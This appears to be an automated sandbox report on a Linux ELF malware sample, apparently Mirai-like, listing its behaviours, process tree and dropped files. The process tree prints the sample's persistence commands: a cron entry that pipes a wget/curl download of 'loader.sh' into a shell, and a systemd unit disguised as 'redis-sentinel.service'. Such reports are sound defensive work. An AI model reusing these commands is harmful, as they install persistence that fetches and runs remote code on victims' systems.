Resubmissions

02/07/2026, 19:36

260702-ybb29sh15r10

02/07/2026, 18:24

260702-w15prsb12110

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/07/2026, 18:24

General

  • Target
    61b82406637f811d7f7191859f6ad1fe2be2af06370d1f1dcf9b500d45689a7d.elf
  • Size 104KB
  • Sample260702-w15prsb121
  • SHA256 61b82406637f811d7f7191859f6ad1fe2be2af06370d1f1dcf9b500d45689a7d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/61b82406637f811d7f7191859f6ad1fe2be2af06370d1f1dcf9b500d45689a7d.elf
    /tmp/61b82406637f811d7f7191859f6ad1fe2be2af06370d1f1dcf9b500d45689a7d.elf
    1⤵
    • Deletes itself
    • Modifies Watchdog functionality
    • Enumerates active TCP sockets
    • Modifies systemd
    • Reads MAC address of network interface
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1512
    • /bin/sh
      sh -c "/bin/systemctl daemon-reload 2>/dev/null"
      2⤵
        PID:1517
        • /bin/systemctl
          /bin/systemctl daemon-reload
          3⤵
            PID:1518
        • /bin/sh
          sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
          2⤵
            PID:1539
            • /bin/systemctl
              /bin/systemctl enable --now redis-sentinel.service
              3⤵
                PID:1541
            • /bin/sh
              sh -c "/usr/bin/crontab -l 2>/dev/null"
              2⤵
                PID:1565
                • /usr/bin/crontab
                  /usr/bin/crontab -l
                  3⤵
                    PID:1566
                • /bin/sh
                  sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1514 2>/dev/null && exit 0; (wget -qO- loader.sh || curl -sL loader.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                  2⤵
                    PID:1567
                    • /usr/bin/crontab
                      /usr/bin/crontab -
                      3⤵
                      • Creates/modifies Cron job
                      PID:1568

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      redis-sentinel.service

                      • Path /etc/systemd/system/redis-sentinel.service
                      • Size 306B
                      • SHA256 13bee754db90aaaf5b11e836404fe381c69e607700ec06bf8105de9d8ec38e62
                      • MD5 SHA1 SHA512 TLSH

                      .redis-server.pid

                      • Path /tmp/.redis-server.pid
                      • Size 4B
                      • SHA256 c8f5600f3eb7d801a067e02c477719d37f560491c4dca56eacc11ca755eb1ac6
                      • MD5 SHA1 SHA512

                      tmp.bAbCG0

                      • Path /var/spool/cron/crontabs/tmp.bAbCG0
                      • Size 305B
                      • SHA256 4404981fc4d3591acecae16ab60bc0d88e30a69fb5e650fbec565b133b609e10
                      • MD5 SHA1 SHA512 TLSH